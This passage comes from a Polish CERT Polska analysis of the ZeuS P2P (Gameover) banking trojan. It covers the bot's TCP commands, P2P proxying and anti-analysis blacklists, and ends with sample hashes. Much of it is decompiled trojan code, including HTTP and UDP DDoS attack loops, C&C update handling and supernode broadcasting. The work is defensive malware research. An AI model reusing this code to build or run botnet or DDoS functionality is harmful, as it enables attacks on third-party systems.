wykorzystany jest do przesyłania raportów do serwera CnC. Dane wysyłane są za pomocą żądania POST /write (jak na rysunku [9]). Ciekawym faktem jest - w porównaniu do innych wariantów ZeuSa - brak szyfrowania treści komunikatów wysyłanych do CnC. Zapewne autorzy założyli, iż szyfrowanie w warstwie komunikacji P2P jest wystarczające. 6.2.2 TCP 0x64, 0x66 - Wymuszenie aktualizacji zasobów (PUSH) Ten typ pakiety pozwala botmasterowi połączyć się bezpośrednio z zainfekowaną ma- szyną, a następnie ”wepchnąć” nową wersję zasobów. Może on przeprowadzić aktualizację zarówno pliku konfiguracyjnego (0x66) jak i binarnego (0x64). Oba pakiety obsługiwane 23 CERT Polska / 2013 Raport: ZeuS P2P Rysunek 9: Wysyłanie danych do CnC - zrzut pamięci są przez jedną funkcję readDataAndUpdate (patrz listing 30) 6.2.3 TCP 0x68, 0x6A - Żądanie zasobów (PULL) Pakiety 0x68, 0x6A wykorzystywane są do pobierania nowych wersji zasobów. Funkcja handleDataReq(Listing [31]) odpowiedzialna jest za obsługę żądania wysłania danych. W zależności od wartości pola CMD odsyłany jest plik binarny (0x68) lub konfiguracyjny (0x6A) poprzedzony rozmiarem zasobu. 6.2.4 TCP 0xC8 - Wymuszenie aktualizacji adresów super-węzłów (PUSH) Pakiet 0xC8 podobnie do 0x64, 0x66 pozwala na wymuszenie aktualizacji tablicy super-węzłów. Dodatkowo w przypadku otrzymania podpisanego pakietu niezawierającego treści, lista ta jest zerowana. Listing [32] przedstawia kod funkcji obsługującej ten rodzaj połączenia. 6.2.5 TCP 0xCC - P2P-PROXY Pakiet 0xCC inicjuje połączenie pozwalające przesyłać dane przez sieć super-węzłów. Listing [33] przedstawia funkcję odpowiedzialna za przekazywanie danych za pomocą super- węzłów. Po odebraniu połączenia TCP z instrukcją 0xCC w nagłówku, bot wybiera losowo jeden z super-węzłów znajdujący się na lokalnej liście i przesyła do niego odebrane dane. W tym procesie dane zostają odszyfrowane, a do żądania HTTP dołączany jest dodatkowy nagłówek X-Real-IP zawierający adres IP klienta łączącego się do węzła. Zaszyfrowane ponownie dane są przesyłane do wybranego wcześniej węzła, a w poprzedzającym trans- misję nagłówku p2pHeader pole TTL zmniejszane jest o 1. 24 CERT Polska / 2013 Raport: ZeuS P2P rozdziale. 8 Ochrona sieci P2P - mechanizmy wewnętrzne bota 8.1 Czarna lista W maju (po zarejestrowanej przez nasz system monitorowania próbie ataku) pojawiła się aktualizacja wprowadzająca pierwsze ograniczenia w łączności z siecią P2P. Jest to statyczna czarna lista zawierająca zakresy adresów IP (adresów sieci oraz masek), które podczas próby komunikacji z botem zostaną zignorowane. Lista ta (w celu utrudnienia analizy) zaszyfrowana jest przy pomocy prostej funkcji XOR ze statycznym 4 bajtowym kluczem. Warto zauważyć, iż lista ta obsługuje jedynie adresy IPv4. Na listingu [34] za- mieszczono kod funkcji sprawdzającej obecność adresu IP na statycznej czarnej liście. 8.2 Limit połączeń per IP Podczas jednej z aktualizacji wprowadzony został dodatkowy mechanizm ograniczający liczbę połączeń z botem per adres IP. Jeżeli z tego samego adresu IP zostanie wysłane więcej niż 10 pakietów w ciągu 60 sekund - adres ten zostaje oznaczony wartością -1”, co oznacza jego zbanowanie. Maksymalna liczba wpisów na liście wynosi 2000. W odróżnieniu od statycznej czarnej listy, mechanizm limitowania połączeń obsługuje adresy IPv4 oraz IPv6. Kod funkcji został przedstawiony na listingu [35]. 8.3 Ograniczenia dla listy sąsiednich peerów Gameover posiada zaimplementowany mechanizm ograniczający występowanie adresów IP na liście sąsiednich węzłów. Sprawdza on zarówno adres IPv4 jak i IPv6. Kod funkcji wywoływanej przed dodaniem nowego węzła do listy przedstawiony jest na listingu [36] - wywołuje on kolejno funkcje sprawdzające adres IPv4 i IPv6. Dla adresów IPv4 mechanizm ogranicza występowania adresów IP z tej samej podsieci na liście sąsiednich peerów. Przedstawiona poniżej funkcja sprawdza, ile adresów IP na- leżących do tej samej podsieci znajduje się na liście peerów. Maska podsieci zdefiniowana jest statycznie i wynosi 255.255.255.128. W przypadku adresów IPv6 procedura wyszukująca porównuje cały adres IP. 9 Listingi Poniżej zamieszczone są fragmenty zdekompilowanego kodu trojana. 1 int webinj :: fix_PROXY_SERVER_HOST(char **pText , int *pTextLen){ 2 /* Find and replace all %_PROXY_SERVER_HOST_$ with 127.0.0.1: TCP -PORT */ 3 char formatBuf [16]; 4 char newStrBuf [48]; 5 int PROX_STR_SIZE = 21; 27 CERT Polska / 2013 Raport: ZeuS P2P 6 networkSettings netSet; 7 int foundOne = 0; 8 9 char* ProxStr = mem::alloc (327); 10 if (ProxStr == NULL) return 0; 11 str:: getCryptedA(CSTR_PROXY_SERVER_HOST , ProxStr); // get "$_PROXY_SERVER_HOST_$" 12 13 newStrSize = -1; 14 fndPos = str:: findSubstringN (*pText , *pTextLen , ProxStr , PROX_STR_SIZE); 15 while (fndPos) { 16 foundOne = 1; 17 if (newStrSize ==-1) 18 str:: getCryptedA(CSTR_127_0_0_1_TCP , formatStr); // get "127.0.0.1:%u" 19 reg:: readNetSettings (& netSet) 20 char* strEnd = str:: sprintfX2(newStrBuf , 48, formatStr , netSet.tcpPort); 21 newStrSize = strEnd - newStrBuf 22 } 23 newSize = (* pTextLen - PROX_STR_SIZE) + newStrSize; 24 if ( newSize > *pTextLen ){ 25 char* oldPtr = pText; 26 mem:: reSize( pText , newSize ); 27 fndPos = pText + (fndPos - oldPtr); 28 } 29 int tmpLen = *pTextLen - (pText - fndPos + PROX_STR_SIZE); 30 memmove( fndPos + newStrSize , dnsPos + PROX_STR_SIZE , tmpLen); 31 memcpy( fndPos , newStrBuf , newStrSize); 32 fndPos = str:: findSubstringN (*pText , *pTextLen , ProxStr , PROX_STR_SIZE); 33 } 34 mem::free1(ProxStr); 35 return foundOne; 36 } Listing 17: podmiana ciągu znaków $ PROXY SERVER HOST $ 1 int scripts :: DDoS_type(int argc ,wchar* argv []){ 2 wchar tmpBuf [8]; 3 str:: getCryptedW(CSTR_dhtudp ,tmpBuf); 4 if (str::cmpW(argv[1], tmpBuf , -1){ 5 this.ddosObj = new ddosClassDhtUdp (); 6 return 1; 7 } 8 str:: getCryptedW(CSTR_http , tmpBuf); 9 if (str::cmpW(argv[1], tmpBuf , -1){ 10 this.ddosObj = new ddosClassHttp (); 11 return 1; 12 } 13 return 0; 14 } Listing 18: Funkcja ustawiająca rodzaj ataku DDoS 1 void ddosThread ::run(){ 2 int result; 3 int startTime = GetTickCount (); 4 do { 5 this.ddosObject.attack(globalStopEvent); 6 if ( (GetTickCount () - startTime) >= this.attackDuration ) 7 break; 8 result = WaitForSingleObject_(globalStopEvent , this.sleepTime); 9 } while ( result == WAIT_TIMEOUT ); 10 } Listing 19: Główna pętla wykonywania ataku DDoS 28 CERT Polska / 2013 Raport: ZeuS P2P 1 int ddosHttp :: attack(void* stopEvent){ 2 int i = 0; 3 int status = 0; 4 if ( this.targetList.elCount == 0 ) 5 return 0; 6 do { 7 struct_TargetHttp* curTarget = &this.targetList.dataPtr[i]; 8 if ( target ->enabled ) { 9 int retVal; 10 wininetClass nObj = new wininetClass (); 11 retVal = nObj.http_startReq(curTarget ->userAgent , curTarget ->dstURL , 12 curTarget ->postData , curTarget ->postDataSize , 13 curTarget ->inetFlag , curTarget ->httpFlags); 14 nObj.status = retVal; 15 if ( retVal ){ 16 retVal = nObj.http_readData(NULL ,0x500000 ,stopEvent); 17 curTarget.status = retVal; 18 if ( retVal ) 19 status = 1; 20 } 21 inter:: closeAll (& inetStruct); 22 } 23 } while (i < this.targetList.elCount ); 24 return status; 25 } Listing 20: Funkcja obsługująca wykonanie ataku DDoS/HTTP 1 int ddosDhtUdp :: attack(void* stopEvent){ 2 int i = 0; 3 int status = 0; 4 if ( this.targetList.elCount == 0) 5 return 0; 6 do { 7 struct_TargetDhtUdp* curTarget = &this.targetList.dataPtr[i]; 8 if ( curTarget ->enabled ){ 9 Class_P2PPacket pkt1; 10 NetObj net1; 11 int retVal; 12 sockaddr addr; 13 pkt1 = p2p:: createPackets (0, 0, _null , _null , _null , _null , _null , _null); 14 if (!pkt1) { 15 curTarget ->status = 0; 16 continue; 17 } 18 memcpy (&addr , &curTarget ->sockaddr , 0x1Cu); 19 if (curTarget ->portA && curTarget ->portZ){ 20 WORD port = htons( rand::range( curTarget ->portA , curTarget ->portB ) ); 21 if ( addr.sa_family == AF_INET || addr.sa_family == AF_INET6 ) 22 addr.port = port; 23 } 24 net1.init_empty(TypeByFamily(addr.sa_family), PROTO_UDP); 25 retVal = net1.bindEx(0,SOMAXCONN); 26 if (retVal) 27 retVal = net1.udpSendTo (&addr , pkt1.PKT.dataPtr , pkt1.PKT.dataSize , stopEvent); 28 curTarget ->status = retVal; 29 status = retVal; 30 pkt1.uninit (); 31 net1.shutdown (); 32 } 33 i++: 34 } while ( i < this.targetList.elCount ); 35 return status; 29 CERT Polska / 2013 Raport: ZeuS P2P 1 NetPkt1* parseUdpData(sockaddr *sa, char* buf , int bufSize){ 2 if ( bufSize < sizeof(p2pHeader) ) 3 return 0; 4 if ( bufSize > 1424 ) // maxPacketSize 5 return 0; 6 if ( sa!=NULL && sa0 ->sa_family == AF_INET && sa->sa_family == AF_INET6 ) 7 return 0; 8 9 CryptStruct1 cs1; 10 cs1.type = ENC_VISUAL; 11 crypt:: uniDecryptor( &cs1 , buf , bufSize); 12 if (*buf ==0) 13 return 0; 14 p2pHeader* hdr = (p2pHeader)(buf); 15 if (bufSize < hdr.junkSize + sizeof(p2pHeader)) 16 return 0; 17 18 NetPkt1* pkt new NetPkt1(NULL); 19 pkt ->dataSize = bufSize; 20 pkt ->dataPtr = mem::copy(buf ,bufSize); 21 memset(pkt ->SA , 0,128); 22 memcpy(pkt ->SA , sa , net:: getSaSize(sa) ); 23 memcpy(pkt ->hdr , buf , sizeof(p2pHeader)); 24 return pkt; 25 } Listing 25: przetwarzanie przychodzącego pakietu UDP 1 int p2p:: processUdp(NetPkt1 *pkt){ 2 if (pkt ->dataPtr == NULL) 3 return 0; 4 if ( !(pkt ->hdr.cmd & 1) ) // if query : 5 int result; 6 if ( pkt ->hdr.cmd == CMD_x32_PROX_ADV2 ) 7 result = this.processProxyAdv(this ->advCache , pkt ->PKT.hdr.SSID); 8 else 9 result = this.incominqQuery(pkt); 10 if ( result ) 11 result = this.tryToAddPeer(pkt); 12 return result; 13 } 14 // else - not query : 15 queryCmd = pkt ->hdr.cmd - 1; 16 RtlEnterCriticalSection_ (&this ->PktQueue_CritSect1); 17 if ( this.queueSize == 0 ) return 0; 18 int i = 0; 19 QuePkt* qp = NULL; 20 for (i=0;i<this.queueSize;i++){ 21 qp = this.pktQueue[i]; 22 if (qp==NULL) continue; 23 if (!qp->checkEvent ()) continue; 24 if (memcmp( pkt ->hdr.SSID , qp->hdr.SSID , sizeof(SHA_ID))) continue; 25 if ( queryCmd == qp ->hdr.cmd) { 26 qp->answerPkt = new AnswerPkt(pkt); 27 SetEvent(qp->answerPkt ->event); 28 this.pktQueue[i]=NULL; 29 break; 30 } 31 } 32 this.cleanupQueue (); 33 RtlLeaveCriticalSection (&this.PktQueue_CritSect1); 34 return 0; 35 } 32 CERT Polska / 2013 Raport: ZeuS P2P Listing 26: Obsługa przychodzącego pakietu UDP 1 typedef struct { 2 DWORD nullPadding; 3 BYTE peerID [20]; 4 BYTE peerIpV4 [4]; 5 WORD peerTcpPort_v4; 6 BYTE peerIpV6 [16]; 7 WORD peerTcpPort_v6; 8 } pkt50_supernodeAdv 9 10 //.......... 11 12 int p2p:: handle0x50_ProxyAdv(class_pkt *queryPkt){ 13 char* pktData = queryPkt.PKT.ptrData + sizeof(p2pHeader); 14 int contentSize = queryPkt.getContentSize (); 15 if ( contentSize < sizeof(pkt50_supernodeAdv) ) 16 return 0; 17 if ( ! resource :: verifySignature1(pktData , contentSize) ) 18 return 0; 19 if ( ! this.supernodeCache.check(pktData , contentSize) ) 20 return 0; 21 22 oldTTL = queryPkt.PKT.header.TTL; 23 if ( oldTTL ) 24 this.broadcastSupernode( 25 queryPkt.PKT.header.cmd , queryPkt.PKT.header.SSID , 26 oldTTL - 1, pktData , contentSize); 27 return 1; 28 } 29 30 int p2p:: broadcastSupernode(BYTE cmd , char *ssid ,BYTE ttl , char *data , int dataSize){ 31 char tmpBuf [20]; 32 peerlist = peerlist :: loadFromReg (); 33 if ( ! peerlist1 ) 34 return 0; 35 int cnt = peerlist1 ->count; 36 if (cnt ==0) 37 return 0; 38 if ( ssid==NULL ) { 39 hash:: createRand (& tmpBuf); 40 ssid = tmpBuf; 41 } 42 this.supernodeCache.updateSID(ssid); 43 int i; 44 for (i=0;i<cnt;i++){ 45 pkt = pkt:: buildPacket( 46 peerlist ->elements[i], cmd , 47 ssid , ttl , 48 data , dataSize , 0 49 ); 50 if (pkt) 51 this.addPacketToQueue(pkt); 52 } 53 mem::free(peerlist ->elements); 54 mem::free(peerlist); 55 return 1; 56 } Listing 27: Budowa i rozgłaszanie pakietu 0x50 33 CERT Polska / 2013 Raport: ZeuS P2P 1 int p2p:: processTcpConnection(netCryptObj netObj){ 2 int tmp; 3 char tmpBuf [5]; 4 5 tmp = netObj.recv(tmpBuf , 5, this , this.stopEvent); 6 if (tmp ==0) return 0; 7 8 if (memcmp(tmpBuf , "GET ", 4)==0 || memcmp(tmpBuf , "POST ", 5) == 0) { 9 sockaddr SA; 10 if (! netObj.getSockaddr (&SA)) return 0; 11 if ( SA.sa_family == AF_INET ) { 12 if (SA.sa_data [2] != 127)) return 0; 13 } else { 14 if ( SA.sa_family == AF_INET6 ) 15 if (memcmp( IPv6Localhost , &SA.sa_data [6] , 16) != 0) return 0; 16 else 17 return 0; 18 } // only accept HTTP req from localhost 19 proxySender sender; 20 sender.p2p_Obj = this; 21 sender.net_Obj = netObj; 22 sender.tmpBuf = tmpBuf; 23 tmp = this.p2pProxy.PushRequest( &PX , this.stopEvent ); 24 } else { 25 char recBuf[ sizeof(p2pHeader) ]; 26 tmp = netObj.recv(recBuf + 5, sizeof(p2pHeader)-5, p2p ->stopEvent); 27 if (tmp ==0) return 0; 28 29 memcpy(recBuf , tmpBuff , 5); 30 31 cryptRC4 RC4.type = _CRYPT_RC4; 32 crypt:: rc4_copyKeyFrom (&RC , p2p.ownRc4Key ); 33 crypt:: decrypt(RC4 , recBuf , sizeof(p2pHeader)); 34 35 p2pHeader* hdr = (p2pHeader *) recBuf; 36 if (hdr ->randByte == 0) return 0; 37 if (hdr ->junkSize != 0) return 0; 38 39 netObj.initRemoteKey(hdr ->senderID , encryptIN); 40 crypt:: copyKeyRC4(netObj.ownKey , RC4.rc4Key); 41 cmd = hdr ->cmd; 42 43 int resource; 44 if (cmd == CMD_TCP_x64_PUSH_CONF || cmd == CMD_TCP_x66_PUSH_BIN ){ 45 if (cmd == CMD_TCP_x64_PUSH_CONF) resources = 1; 46 if (cmd == CMD_TCP_x66_PUSH_BIN) resources = 2; 47 return this.readDataAndUpdate( netObj , resources); 48 } 49 if ( cmd == CMD_TCP_x68_REQ_CONF || cmd == CMD_TCP_x6A_REQ_BIN ) 50 return this.handleDataRequest( recBuf , netObj); 51 52 if ( cmd == CMD_TCP_xC8_PUSH_PROXYLIST ) 53 return this.p2pProxy.handlePushList(netObj); 54 if ( cmd == CMD_TCP_xCC_PROXY_REQUEST ) 55 return this.p2pProxy.forwardData(netObj); 56 57 } 58 return 0; 59 } Listing 28: Obsługa protokołu TCP 1 //..... 34 CERT Polska / 2013 Raport: ZeuS P2P 5 while ( 1 ){ 6 sockaddr ProxAddr; 7 if ( ! this.selectNewProxy (& proxEntry) )return 0; 8 if ( this.getEntrySockaddr (& proxEntry.data , &ProxAddr) ) { 9 newConn.init(proxEntry.data.netType ,1); 10 if ( !newConn.connectTo (&ProxAddr , CONN_TIMEOUT , stopEvent)) 11 newConn.shutdown (); 12 else 13 break; // found good proxy 14 } 15 this.updateEntryStats( &proxEntry , 1); 16 if ( ++i >= 3 ) 17 return 0; 18 } 19 20 HttpProxy http; 21 char headerName [12]; 22 char strCliAddr [48]; 23 sockaddr CliAddr; 24 int status = 0; 25 26 if (cliConn != NULL){ 27 str:: getCryptedW(CSTR__X_Real_IP_ , headerName ); 28 http.init(0, cliConn , 1); 29 if ( netObj.getPeerAddr (& CliAddr) ) 30 if ( net:: addrToStrA (&CliAddr , strCliAddr)) 31 http.addHeader(headerName , strCliAddr); 32 status = this.pushHttp(newConn , cliConn , PROXY_TIMEOUT , stopEvent , http); 33 http.uninit (); 34 } else { 35 status = newConn.readAllData(stopEvent); 36 } 37 this.updateListTimes (&proxEntry , 0); 38 newConn.shutdown (); 39 return status; 40 } Listing 33: Obsługa przekazywania żądań p2p-http 1 char banlist :: isAddrBlacklisted(sockaddr *sa, char flag){ 2 if ( sa->sa_family == AF_INET ){ 3 int i = 0; 4 int KEY = 0x5B38B65D; // zmienny klucz 5 while ( i < 22 ){ 6 DWORD net = staticBlacklist[i].net ^ KEY; 7 DWORD mask = staticBlacklist[i].mask ^ KEY; 8 if (net == (sa->IPv4 & mask) ) 9 return 1; 10 ++i; 11 } 12 } 13 return this.limitConn(sa, flag); // new 14 } Listing 34: Obsługa ”czarnej listy” 1 int banlist :: limitConn(sockaddr *sa , char onlyCheck){ 2 int SASize; 3 void* SAdata; 4 int netType = net:: TypeFromFamily(sa->sa_family); 5 int curTime = GetTickCount (); 6 int found = 0; 7 if ( netType == 1) { 37 CERT Polska / 2013 Raport: ZeuS P2P 8 saSize = 4; 9 saAddr = sa->sa_data + 2; 10 } 11 if (netType == 2){ 12 saSize = 16; 13 saAddr = sa->sa_data + 6; 14 } 15 listElement el = NULL; 16 if ( this.elCnt > 0 ){ // search element 17 int j = 0 ; 18 while ( j < this.elCnt ) { 19 el = this.elements[j]; 20 if ( el->netType == netType ) { 21 if (memcmp( el->addr , saAddr , saSize )==0) { 22 found = 1; 23 break; 24 } 25 } 26 } 27 j++; 28 } 29 if (!found) { 30 if ( onlyCheck ) 31 return 0; 32 if ( this.elCnt >= 2000u ) 33 this.removeElementAt (0); 34 el = this.addElement (); 35 el->netType = netType; 36 el->time = curTime; 37 el->counter = 1; 38 memcpy(el->addr , saAddr , saSize ); 39 return 0; 40 } else { 41 if ( el.counter == -1 ) 42 return 1; 43 if ( onlyCheck ) 44 return 0; 45 int itemTime = el->time; 46 pointer ->time = curTime; 47 if ( (curTime - itemTime) >= 60000 ) { 48 el->counter = 1; 49 return 0; 50 } 51 el->counter ++; 52 if ( el->counter > 10 ) { 53 el->counter = -1; // BAN ! 54 return 1; 55 } 56 return 0; 57 } 58 } Listing 35: Procedura limitująca ilość nowych połączeń 1 bool peerlist :: findIP(peerEntry *Peer){ 2 if (this.findIPv4Mask(Peer ->IPv4) > 0) 3 return 1; 4 if (this.findIPv6(Peer ->IPv6) > 0) 5 return 1; 6 return 0; 7 } 8 9 int peerlist :: findIPv4(int IPv4){ 10 int maskedIP = IPv4 & 0xF0FFFF; 38 CERT Polska / 2013 Raport: ZeuS P2P 11 int found = 0 ; 12 int i = 0; 13 if ( this.elCount == 0 ) 14 return 0; 15 do { 16 if ( (this.elements[i].IPv4 & 0xF0FFFF) == maskedIP ) 17 found ++ ; 18 i++; 19 } while ( i < this.elCount ); 20 return found; 21 } 22 23 int peerlist :: findIPv6(char* IPv6){ 24 int found = 0; 25 int i=0; 26 if ( this.elCount == 0) 27 return 0; 28 do { 29 if ( memcmp( IPv6 , this.elements[i].IPv6 , 16 ) == 0) 30 found ++; 31 i++ 32 } while ( i < this.elCount ); 33 return found; 34 } Listing 36: Wyszukiwanie adresów IP na liście peerów 10 Sumy MD5 i SHA1 ostatnich próbek 1 file md5 sha1 2 bin -2012 -11 -07 29942643 d35d14491e914abe9bc76301 f4d607bca936a8293b18c52fc5d3469c91365c37 3 bin -2013 -01 -20 9ea4d28952b941be2a6d8f588bf556c8 8598 a219e9024003a1adf6dfa4e0f4455e3d1911 4 bin -2013 -02 -05 fffb972b46c852d4e23a81f39f8df11b f393762f7c85c0f21f3e0c6f7f94c1c28416f0a3 5 bin -2013 -03 -16 cacd2cb90aa1442f29ff5d542847b817 eb47fa1b8ab46fb39141cbcb3cc96915f9f2022e 6 bin -2013 -03 -19 959 b8e1ec1a53bee280282f45e9257e3 e0ba06711954cb46a453aaaecf752e8495da407a 7 bin -2013 -03 -22 7c4fdcaf1a9a023a85905f97b1d712ab 18 bf50e5ad2d7404f0d45e927136dd9df6ca40c2 8 bin -2013 -04 -09 1c54041614bcd326a7d403dc07b25526 d8aa5bf5d215d2117ce2c89c3155105402ea0f77 9 bin -2013 -04 -17 c99050eb5bed98824d3fef1e7c4824b5 0af947d0f894fbd117da3e2e5cf859aa47f076ec Listing 37: MD5 i SHA1 39